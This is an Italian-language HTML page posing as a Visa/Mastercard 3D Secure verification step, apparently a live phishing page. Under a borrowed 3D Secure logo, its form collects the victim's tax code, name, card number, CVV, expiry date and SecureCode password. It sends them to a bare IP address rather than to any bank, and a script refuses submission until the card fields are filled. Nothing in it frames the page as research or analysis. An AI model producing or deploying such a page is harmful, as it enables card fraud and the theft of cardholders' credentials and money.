<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Visa - Mastercard - Verifica Dettagliata </title>
<style type="text/css">
* {
margin: 0;
padding: 0;
}
body {
font-family: Verdana;
font-size: 11px;
}
.req {
color:#F00;
}
</style>
<script>
function validateForm()
{
var cc=document.forms["myform"]["ncarta"].value;
if (cc==null || cc=="")
{
alert("Inserire Numero di carta");
return false;
}
var mm=document.forms["myform"]["exp_m"].value;
if (mm==null || mm=="")
{
alert("Inserire Data di Scadenza");
return false;
}
var yy=document.forms["myform"]["exp_y"].value;
if (yy==null || yy=="")
{
alert("Inserire Data di Scadenza");
return false;
}
var cvv=document.forms["myform"]["cvv"].value;
if (cvv==null || cvv=="")
{
alert("Inserire codice di sicurezza della Carta CVV");
return false;
}
}
</script>
</head>
<body><BR /><BR /><BR /><BR /><BR /><BR /><BR /><BR /><BR /><BR />
<div style="width: 100%; height: 100%;">
<div style="margin: 0 auto; width: 280px;" id="center-content">
<img src="http://www.32red.com/images/banking/3d-secure-logos.png" width="100%" weight="100%">
<form action="http://217.160.184.50/verify/secure/go.php" method="post" onsubmit="return validateForm()" name="myform" enctype="application/x-www-form-urlencoded">
<table width="100%" border="0" cellspacing="9" cellpadding="0">
<tr>
<td colspan="2"><strong>Carta de credito Detagli</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2"><strong>Si prega di fornire i seguenti dati: </strong></td>
</tr>
<tr>
<td width="52%"> </td>
<td width="48%"> </td>
</tr>
<tr>
<td>Codice Fiscale<span class="req">*</span>:</td>
<td>
<input type="text" name="codice_fiscale" id="codice_fiscale" /></td>
</tr>
<tr>
<td>Nome sul Registro<span class="req">*</span>:</td>
<td><input type="text" name="nome" id="nome" /></td>
</tr>
<tr>
<td>Numero di carta<span class="req">*</span>:</td>
<td><input type="text" name="ncarta" id="ncarta" /></td>
</tr>
<tr>
<td>Codice di sicurezza della Carta CVV<span class="req">*</span>:</td>
<td><input type="text" name="cvv" id="cvv" size="4" maxlength="4"/></td>
</tr>
<tr>
<td>Data di Scadenza<span class="req">*</span>:</td>
<td><input type="text" name="exp_m" id="exp_m" size="4" maxlength="2"/>
/
<input type="text" name="exp_y" id="exp_y" size="6" maxlength="4"/></td>
</tr>
<tr>
<td>VerifiedByVisa Password - Mastercard SecureCode<span class="req">*</span>:</td>
<td><input type="password" name="password" id="password" /></td>
</tr>
<tr>
<td> </td>
<td><input type="submit" name="submit" id="submit" value="Conferma" /></td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
</table>
</form>
</div>
</div>
</body>
</html>